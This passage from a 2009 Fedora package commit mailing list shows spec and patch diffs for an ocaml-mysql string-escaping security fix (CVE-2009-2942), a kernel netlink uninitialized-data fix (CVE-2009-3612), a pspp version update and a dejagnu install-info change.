 (** [ml2xxx v] encodes [v] into MySQL syntax. *)
 
 val ml2str          : string -> string
+val ml2rstr         : dbd -> string -> string
 val ml2blob         : string -> string
+val ml2rblob        : dbd -> string -> string
 val ml2int          : int -> string
 val ml2decimal      : string -> string
 val ml322int        : int32 -> string
 val ml642int        : int64 -> string
 val ml2float        : float -> string
 val ml2enum         : string -> string
+val ml2renum        : dbd -> string -> string
 val ml2set          : string list -> string
+val ml2rset         : dbd -> string list -> string
 val ml2datetime     : int * int * int * int * int * int -> string
 val ml2datetimel    : year:int -> month:int -> day:int -> hour:int -> min:int -> sec:int -> string
 val ml2date         : int * int * int -> string
diff -ur ocaml-mysql-1.0.4.orig/mysql_stubs.c ocaml-mysql-1.0.4/mysql_stubs.c
--- ocaml-mysql-1.0.4.orig/mysql_stubs.c	2006-02-23 23:12:36.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql_stubs.c	2009-10-16 11:42:08.076508492 +0100
@@ -472,6 +472,33 @@
   CAMLreturn(res);
 }
 
+EXTERNAL value
+db_real_escape(value dbd, value str)
+{
+  CAMLparam2(dbd, str);
+  char *s;
+  char *buf;
+  int len, esclen;
+  MYSQL *mysql;
+  CAMLlocal1(res);
+
+  check_dbd(dbd, "escape");
+  mysql = DBDmysql(dbd);
+
+  s = String_val(str);
+  len = string_length(str);
+  buf = (char*) stat_alloc(2*len+1);
+  caml_enter_blocking_section();
+  esclen = mysql_real_escape_string(mysql,buf,s,len);
+  caml_leave_blocking_section();
+
+  res = alloc_string(esclen);
+  memcpy(String_val(res), buf, esclen);
+  stat_free(buf);
+
+  CAMLreturn(res);
+}
+
 /*
  * db_size -- returns the size of the current result (number of rows).
  */


Index: ocaml-mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mysql/F-12/ocaml-mysql.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ocaml-mysql.spec	25 Jul 2009 20:00:13 -0000	1.10
+++ ocaml-mysql.spec	16 Oct 2009 10:46:40 -0000	1.11
@@ -3,7 +3,7 @@
 
 Name:           ocaml-mysql
 Version:        1.0.4
-Release:        10%{?dist}
+Release:        11%{?dist}
 Summary:        OCaml library for accessing MySQL databases
 
 Group:          Development/Libraries
@@ -13,6 +13,8 @@ Source0:        http://raevnos.pennmush.
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
+Patch0:         ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch
+
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -46,6 +48,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch0 -p1
 ./configure --libdir=%{_libdir}
 
 
@@ -97,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-11
+- Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rjones at fedoraproject.org  Fri Oct 16 10:46:40 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:46:40 +0000 (UTC)
Subject: rpms/ocaml-mysql/F-11
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch, NONE,
	1.1 ocaml-mysql.spec, 1.7, 1.8
Message-ID: <20091016104640.4353011C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mysql/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19002

Modified Files:
	ocaml-mysql.spec 
Added Files:
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch 
Log Message:
Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).

ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch:
 mysql.ml      |   18 ++++++++++++------
 mysql.mli     |    5 +++++
 mysql_stubs.c |   27 +++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 6 deletions(-)

--- NEW FILE ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch ---
diff -ur ocaml-mysql-1.0.4.orig/mysql.ml ocaml-mysql-1.0.4/mysql.ml
--- ocaml-mysql-1.0.4.orig/mysql.ml	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.ml	2009-10-16 11:42:08.074508283 +0100
@@ -333,6 +333,7 @@
 external real_status     : dbd -> int                         = "db_status"
 external errmsg     : dbd -> string option                  = "db_errmsg"
 external escape     : string -> string                      = "db_escape"
+external real_escape: dbd -> string -> string               = "db_real_escape"
 external fetch      : result -> string option array option  = "db_fetch" 
 external to_row     : result -> int64 -> unit                 = "db_to_row"
 external size       : result -> int64                         = "db_size"
@@ -516,7 +517,9 @@
    the corresponding type *)
   
 let ml2str str  = "'" ^ escape str ^ "'"
+let ml2rstr conn str = "'" ^ real_escape conn str ^ "'"
 let ml2blob     = ml2str
+let ml2rblob    = ml2rstr
 let ml2int x    = string_of_int x
 let ml2decimal x    = x
 let ml322int x  = Int32.to_string x
@@ -524,12 +527,15 @@
 let mlnative2int x = Nativeint.to_string x
 let ml2float x  = string_of_float x
 let ml2enum x   = escape x
-let ml2set x    = let rec loop arg = match arg with
-                    | []        -> ""
-                    | [x]       -> escape x
-                    | x::y::ys  -> escape x ^ "," ^ loop (y::ys)
-                  in
-                    loop x  
+let ml2renum x  = real_escape x
+let ml2set_filter f x =
+  let rec loop f = function
+  | []        -> ""
+  | [x]       -> f x
+  | x::y::ys  -> f x ^ "," ^ loop f (y::ys)
+  in loop f x
+let ml2set x       = ml2set_filter escape x
+let ml2rset conn x = ml2set_filter (real_escape conn) x
 
 let ml2datetimel ~year ~month ~day ~hour ~min ~sec =
     Printf.sprintf "'%04d-%02d-%02d %02d:%02d:%02d'"
diff -ur ocaml-mysql-1.0.4.orig/mysql.mli ocaml-mysql-1.0.4/mysql.mli
--- ocaml-mysql-1.0.4.orig/mysql.mli	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.mli	2009-10-16 11:42:08.075507981 +0100
@@ -230,6 +230,7 @@
 (** [escape str] returns the same string as [str] in MySQL syntax with
   special characters quoted to not confuse the MySQL parser *)
 val escape : string -> string 
+val real_escape : dbd -> string -> string
 
 (** [xxx2ml str] decodes a MySQL value of type xxx into a corresponding
   OCaml value *)
@@ -277,14 +278,18 @@
 (** [ml2xxx v] encodes [v] into MySQL syntax. *)
 
 val ml2str          : string -> string
+val ml2rstr         : dbd -> string -> string
 val ml2blob         : string -> string
+val ml2rblob        : dbd -> string -> string
 val ml2int          : int -> string
 val ml2decimal      : string -> string
 val ml322int        : int32 -> string
 val ml642int        : int64 -> string
 val ml2float        : float -> string
 val ml2enum         : string -> string
+val ml2renum        : dbd -> string -> string
 val ml2set          : string list -> string
+val ml2rset         : dbd -> string list -> string
 val ml2datetime     : int * int * int * int * int * int -> string
 val ml2datetimel    : year:int -> month:int -> day:int -> hour:int -> min:int -> sec:int -> string
 val ml2date         : int * int * int -> string
diff -ur ocaml-mysql-1.0.4.orig/mysql_stubs.c ocaml-mysql-1.0.4/mysql_stubs.c
--- ocaml-mysql-1.0.4.orig/mysql_stubs.c	2006-02-23 23:12:36.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql_stubs.c	2009-10-16 11:42:08.076508492 +0100
@@ -472,6 +472,33 @@
   CAMLreturn(res);
 }
 
+EXTERNAL value
+db_real_escape(value dbd, value str)
+{
+  CAMLparam2(dbd, str);
+  char *s;
+  char *buf;
+  int len, esclen;
+  MYSQL *mysql;
+  CAMLlocal1(res);
+
+  check_dbd(dbd, "escape");
+  mysql = DBDmysql(dbd);
+
+  s = String_val(str);
+  len = string_length(str);
+  buf = (char*) stat_alloc(2*len+1);
+  caml_enter_blocking_section();
+  esclen = mysql_real_escape_string(mysql,buf,s,len);
+  caml_leave_blocking_section();
+
+  res = alloc_string(esclen);
+  memcpy(String_val(res), buf, esclen);
+  stat_free(buf);
+
+  CAMLreturn(res);
+}
+
 /*
  * db_size -- returns the size of the current result (number of rows).
  */


Index: ocaml-mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mysql/F-11/ocaml-mysql.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ocaml-mysql.spec	26 Feb 2009 07:17:08 -0000	1.7
+++ ocaml-mysql.spec	16 Oct 2009 10:46:40 -0000	1.8
@@ -3,7 +3,7 @@
 
 Name:           ocaml-mysql
 Version:        1.0.4
-Release:        8%{?dist}
+Release:        8%{?dist}.1
 Summary:        OCaml library for accessing MySQL databases
 
 Group:          Development/Libraries
@@ -12,6 +12,8 @@ URL:            http://raevnos.pennmush.
 Source0:        http://raevnos.pennmush.org/code/ocaml-mysql/ocaml-mysql-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+Patch0:         ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch
+
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -45,6 +47,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch0 -p1
 ./configure --libdir=%{_libdir}
 
 
@@ -96,6 +99,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-8.fc11.1
+- Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From rjones at fedoraproject.org  Fri Oct 16 10:46:42 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:46:42 +0000 (UTC)
Subject: rpms/ocaml-mysql/F-10
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch, NONE,
	1.1 ocaml-mysql.spec, 1.2, 1.3
Message-ID: <20091016104642.3DF4511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mysql/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19036

Modified Files:
	ocaml-mysql.spec 
Added Files:
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch 
Log Message:
Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).

ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch:
 mysql.ml      |   18 ++++++++++++------
 mysql.mli     |    5 +++++
 mysql_stubs.c |   27 +++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 6 deletions(-)

--- NEW FILE ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch ---
diff -ur ocaml-mysql-1.0.4.orig/mysql.ml ocaml-mysql-1.0.4/mysql.ml
--- ocaml-mysql-1.0.4.orig/mysql.ml	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.ml	2009-10-16 11:42:08.074508283 +0100
@@ -333,6 +333,7 @@
 external real_status     : dbd -> int                         = "db_status"
 external errmsg     : dbd -> string option                  = "db_errmsg"
 external escape     : string -> string                      = "db_escape"
+external real_escape: dbd -> string -> string               = "db_real_escape"
 external fetch      : result -> string option array option  = "db_fetch" 
 external to_row     : result -> int64 -> unit                 = "db_to_row"
 external size       : result -> int64                         = "db_size"
@@ -516,7 +517,9 @@
    the corresponding type *)
   
 let ml2str str  = "'" ^ escape str ^ "'"
+let ml2rstr conn str = "'" ^ real_escape conn str ^ "'"
 let ml2blob     = ml2str
+let ml2rblob    = ml2rstr
 let ml2int x    = string_of_int x
 let ml2decimal x    = x
 let ml322int x  = Int32.to_string x
@@ -524,12 +527,15 @@
 let mlnative2int x = Nativeint.to_string x
 let ml2float x  = string_of_float x
 let ml2enum x   = escape x
-let ml2set x    = let rec loop arg = match arg with
-                    | []        -> ""
-                    | [x]       -> escape x
-                    | x::y::ys  -> escape x ^ "," ^ loop (y::ys)
-                  in
-                    loop x  
+let ml2renum x  = real_escape x
+let ml2set_filter f x =
+  let rec loop f = function
+  | []        -> ""
+  | [x]       -> f x
+  | x::y::ys  -> f x ^ "," ^ loop f (y::ys)
+  in loop f x
+let ml2set x       = ml2set_filter escape x
+let ml2rset conn x = ml2set_filter (real_escape conn) x
 
 let ml2datetimel ~year ~month ~day ~hour ~min ~sec =
     Printf.sprintf "'%04d-%02d-%02d %02d:%02d:%02d'"
diff -ur ocaml-mysql-1.0.4.orig/mysql.mli ocaml-mysql-1.0.4/mysql.mli
--- ocaml-mysql-1.0.4.orig/mysql.mli	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.mli	2009-10-16 11:42:08.075507981 +0100
@@ -230,6 +230,7 @@
 (** [escape str] returns the same string as [str] in MySQL syntax with
   special characters quoted to not confuse the MySQL parser *)
 val escape : string -> string 
+val real_escape : dbd -> string -> string
 
 (** [xxx2ml str] decodes a MySQL value of type xxx into a corresponding
   OCaml value *)
@@ -277,14 +278,18 @@
 (** [ml2xxx v] encodes [v] into MySQL syntax. *)
 
 val ml2str          : string -> string
+val ml2rstr         : dbd -> string -> string
 val ml2blob         : string -> string
+val ml2rblob        : dbd -> string -> string
 val ml2int          : int -> string
 val ml2decimal      : string -> string
 val ml322int        : int32 -> string
 val ml642int        : int64 -> string
 val ml2float        : float -> string
 val ml2enum         : string -> string
+val ml2renum        : dbd -> string -> string
 val ml2set          : string list -> string
+val ml2rset         : dbd -> string list -> string
 val ml2datetime     : int * int * int * int * int * int -> string
 val ml2datetimel    : year:int -> month:int -> day:int -> hour:int -> min:int -> sec:int -> string
 val ml2date         : int * int * int -> string
diff -ur ocaml-mysql-1.0.4.orig/mysql_stubs.c ocaml-mysql-1.0.4/mysql_stubs.c
--- ocaml-mysql-1.0.4.orig/mysql_stubs.c	2006-02-23 23:12:36.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql_stubs.c	2009-10-16 11:42:08.076508492 +0100
@@ -472,6 +472,33 @@
   CAMLreturn(res);
 }
 
+EXTERNAL value
+db_real_escape(value dbd, value str)
+{
+  CAMLparam2(dbd, str);
+  char *s;
+  char *buf;
+  int len, esclen;
+  MYSQL *mysql;
+  CAMLlocal1(res);
+
+  check_dbd(dbd, "escape");
+  mysql = DBDmysql(dbd);
+
+  s = String_val(str);
+  len = string_length(str);
+  buf = (char*) stat_alloc(2*len+1);
+  caml_enter_blocking_section();
+  esclen = mysql_real_escape_string(mysql,buf,s,len);
+  caml_leave_blocking_section();
+
+  res = alloc_string(esclen);
+  memcpy(String_val(res), buf, esclen);
+  stat_free(buf);
+
+  CAMLreturn(res);
+}
+
 /*
  * db_size -- returns the size of the current result (number of rows).
  */


Index: ocaml-mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mysql/F-10/ocaml-mysql.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ocaml-mysql.spec	23 Apr 2008 11:10:52 -0000	1.2
+++ ocaml-mysql.spec	16 Oct 2009 10:46:42 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name:           ocaml-mysql
 Version:        1.0.4
-Release:        3%{?dist}
+Release:        3%{?dist}.1
 Summary:        OCaml library for accessing MySQL databases
 
 Group:          Development/Libraries
@@ -12,6 +12,8 @@ URL:            http://raevnos.pennmush.
 Source0:        http://raevnos.pennmush.org/code/ocaml-mysql/ocaml-mysql-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+Patch0:         ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch
+
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -43,6 +45,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch0 -p1
 ./configure --libdir=%{_libdir}
 
 
@@ -94,6 +97,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-3.fc10.1
+- Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).
+
 * Wed Apr 23 2008 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-3
 - Rebuild for OCaml 3.10.2
 



From peter at fedoraproject.org  Fri Oct 16 10:47:16 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri, 16 Oct 2009 10:47:16 +0000 (UTC)
Subject: rpms/pspp/F-10 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 pspp-psppire-desktop.txt, 1.1, 1.2 pspp.spec, 1.7,
	1.8 sources, 1.3, 1.4
Message-ID: <20091016104716.9552C11C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pspp/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19385/F-10

Modified Files:
	.cvsignore import.log pspp-psppire-desktop.txt pspp.spec 
	sources 
Log Message:
Ver. 0.6.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	16 Jun 2008 16:39:21 -0000	1.2
+++ .cvsignore	16 Oct 2009 10:47:16 -0000	1.3
@@ -1 +1,2 @@
-pspp-0.6.0.tar.gz
+pspp.svg
+pspp-0.6.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	16 Jun 2008 16:39:21 -0000	1.1
+++ import.log	16 Oct 2009 10:47:16 -0000	1.2
@@ -1 +1,2 @@
 pspp-0_6_0-5_fc9:HEAD:pspp-0.6.0-5.fc9.src.rpm:1213634212
+pspp-0_6_2-1_fc11:F-10:pspp-0.6.2-1.fc11.src.rpm:1255689996


Index: pspp-psppire-desktop.txt
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-10/pspp-psppire-desktop.txt,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pspp-psppire-desktop.txt	16 Jun 2008 16:39:21 -0000	1.1
+++ pspp-psppire-desktop.txt	16 Oct 2009 10:47:16 -0000	1.2
@@ -3,7 +3,7 @@ Encoding=UTF-8
 Name=PSPP
 GenericName=Statistical Package
 Exec=psppire
-#Icon=
+Icon=pspp.svg
 Terminal=false
 Type=Application
 Categories=Education;Science;Math;


Index: pspp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-10/pspp.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- pspp.spec	22 Mar 2009 22:23:21 -0000	1.7
+++ pspp.spec	16 Oct 2009 10:47:16 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           pspp
-Version:        0.6.1
-Release:        2%{?dist}
+Version:        0.6.2
+Release:        1%{?dist}
 Summary:        A program for statistical analysis of sampled data
 
 Group:          Applications/Engineering
@@ -88,10 +88,19 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/fedora-psppire.desktop
 
 %changelog
-* Sun Mar 22 2009 Mat?j Cepl <mcepl at redhat.com> - 0.6.1-2
+* Fri Oct 16 2009 Peter Lemenkov <lemenkov at gmail.com> 0.6.2-1
+- Ver. 0.6.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Mar 22 2009 Mat?j Cepl <mcepl at redhat.com> - 0.6.1-3
 - Make .so symlink to versioned libraries -- shouldn't be needed
   but helps to fix bug 471180
 
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Fri Nov 28 2008 Mat?j Cepl <mcepl at redhat.com> 0.6.1-1
 - New upstream release.
 - Added home made logo.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	28 Nov 2008 12:14:35 -0000	1.3
+++ sources	16 Oct 2009 10:47:16 -0000	1.4
@@ -1,2 +1,2 @@
-b871739200938820d8db898cd200ed06  pspp-0.6.1.tar.gz
 dd45ec2c8ce83b06c74c9f4461776322  pspp.svg
+03080eb9e3ffeb03f18bc925fcd83fcb  pspp-0.6.2.tar.gz



From jmoskovc at fedoraproject.org  Fri Oct 16 10:54:14 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 10:54:14 +0000 (UTC)
Subject: rpms/dejagnu/F-12 dejagnu.spec,1.13,1.14
Message-ID: <20091016105414.4A33111C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/dejagnu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21403

Modified Files:
	dejagnu.spec 
Log Message:
fixed installation with --excludedocs rhbz#515949



Index: dejagnu.spec
===================================================================
RCS file: /cvs/extras/rpms/dejagnu/F-12/dejagnu.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- dejagnu.spec	24 Jul 2009 20:07:56 -0000	1.13
+++ dejagnu.spec	16 Oct 2009 10:54:13 -0000	1.14
@@ -1,7 +1,7 @@
 Summary: A front end for testing other programs
 Name: dejagnu
 Version: 1.4.4
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 License: GPLv2+
 Source: ftp://ftp.gnu.org/gnu/dejagnu/dejagnu-%{version}.tar.gz
@@ -56,12 +56,14 @@ make -C doc DESTDIR=$RPM_BUILD_ROOT inst
 install -D -m 644 doc/dejagnu.info $RPM_BUILD_ROOT/%{_infodir}/%{name}.info
 
 %post
-/sbin/install-info %{_infodir}/%{name}.info.gz --dir-file=%{_infodir}/dir ||:
+/sbin/install-info %{_infodir}/%{name}.info.gz --dir-file=%{_infodir}/dir &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-    /sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir ||:
+    /sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir &> /dev/null
 fi
+:
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -76,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_infodir}/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> - 1.4.4-16
+- fixed installation with --excludedocs rhbz#515949
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.4.4-15
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jmoskovc at fedoraproject.org  Fri Oct 16 10:55:52 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 10:55:52 +0000 (UTC)
Subject: rpms/dejagnu/devel dejagnu.spec,1.13,1.14
Message-ID: <20091016105552.CDCD611C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/dejagnu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21861

Modified Files:
	dejagnu.spec 
Log Message:
fixed installation with --excludedocs rhbz#515949



Index: dejagnu.spec
===================================================================
RCS file: /cvs/extras/rpms/dejagnu/devel/dejagnu.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- dejagnu.spec	24 Jul 2009 20:07:56 -0000	1.13
+++ dejagnu.spec	16 Oct 2009 10:55:52 -0000	1.14
@@ -1,7 +1,7 @@
 Summary: A front end for testing other programs
 Name: dejagnu
 Version: 1.4.4
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 License: GPLv2+
 Source: ftp://ftp.gnu.org/gnu/dejagnu/dejagnu-%{version}.tar.gz
@@ -56,12 +56,14 @@ make -C doc DESTDIR=$RPM_BUILD_ROOT inst
 install -D -m 644 doc/dejagnu.info $RPM_BUILD_ROOT/%{_infodir}/%{name}.info
 
 %post
-/sbin/install-info %{_infodir}/%{name}.info.gz --dir-file=%{_infodir}/dir ||:
+/sbin/install-info %{_infodir}/%{name}.info.gz --dir-file=%{_infodir}/dir &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-    /sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir ||:
+    /sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir &> /dev/null
 fi
+:
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -76,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_infodir}/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> - 1.4.4-16
+- fixed installation with --excludedocs rhbz#515949
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.4.4-15
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cebbert at fedoraproject.org  Fri Oct 16 11:00:07 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 16 Oct 2009 11:00:07 +0000 (UTC)
Subject: rpms/kernel/F-11 netlink-fix-typo-in-initialization.patch, NONE,
	1.1 kernel.spec, 1.1765, 1.1766
Message-ID: <20091016110007.7D96911C02A2@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22790

Modified Files:
	kernel.spec 
Added Files:
	netlink-fix-typo-in-initialization.patch 
Log Message:
Fix uninitialized data leak in netlink (CVE-2009-3612)

netlink-fix-typo-in-initialization.patch:
 cls_api.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netlink-fix-typo-in-initialization.patch ---
From: Jiri Pirko <jpirko at redhat.com>
Date: Thu, 8 Oct 2009 08:21:46 +0000 (-0700)
Subject: netlink: fix typo in initialization
X-Git-Tag: v2.6.32-rc5~13^2~33
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=ad61df918c44316940404891d5082c63e79c256a

netlink: fix typo in initialization

Commit 9ef1d4c7c7aca1cd436612b6ca785b726ffb8ed8 ("[NETLINK]: Missing
initializations in dumped data") introduced a typo in
initialization. This patch fixes this.

Signed-off-by: Jiri Pirko <jpirko at redhat.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
---

diff --git a/net/sched/cls_api.c b/net/sched/cls_api.c
index 6a53694..7cf6c0f 100644
--- a/net/sched/cls_api.c
+++ b/net/sched/cls_api.c
@@ -350,7 +350,7 @@ static int tcf_fill_node(struct sk_buff *skb, struct tcf_proto *tp,
 	tcm = NLMSG_DATA(nlh);
 	tcm->tcm_family = AF_UNSPEC;
 	tcm->tcm__pad1 = 0;
-	tcm->tcm__pad1 = 0;
+	tcm->tcm__pad2 = 0;
 	tcm->tcm_ifindex = qdisc_dev(tp->q)->ifindex;
 	tcm->tcm_parent = tp->classid;
 	tcm->tcm_info = TC_H_MAKE(tp->prio, tp->protocol);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1765
retrieving revision 1.1766
diff -u -p -r1.1765 -r1.1766
--- kernel.spec	15 Oct 2009 12:17:21 -0000	1.1765
+++ kernel.spec	16 Oct 2009 11:00:06 -0000	1.1766
@@ -803,6 +803,9 @@ Patch15800: libata-fix-incorrect-link-on
 # ax25 security fix (cve-2009-2909)
 Patch15900: ax25-fix-possible-oops-in-ax25_make_new.patch
 
+# netlink security fix (CVE-2009-3612)
+Patch16000: netlink-fix-typo-in-initialization.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1503,6 +1506,9 @@ ApplyPatch libata-fix-incorrect-link-onl
 # ax25 security fix (cve-2009-2909)
 ApplyPatch ax25-fix-possible-oops-in-ax25_make_new.patch
 
+# netlink security fix (CVE-2009-3612)
+ApplyPatch netlink-fix-typo-in-initialization.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2091,6 +2097,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-87
+- Fix uninitialized data leak in netlink (CVE-2009-3612)
+
 * Thu Oct 15 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-86
 - AX.25 security fix (CVE-2009-2909)
 



From jmoskovc at fedoraproject.org  Fri Oct 16 11:05:07 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 11:05:07 +0000 (UTC)
Subject: rpms/cvs/F-12 cvs.spec,1.66,1.67
Message-ID: <20091016110507.7D6ED11C00E5@cvs1.fedora.phx.redhat.com>

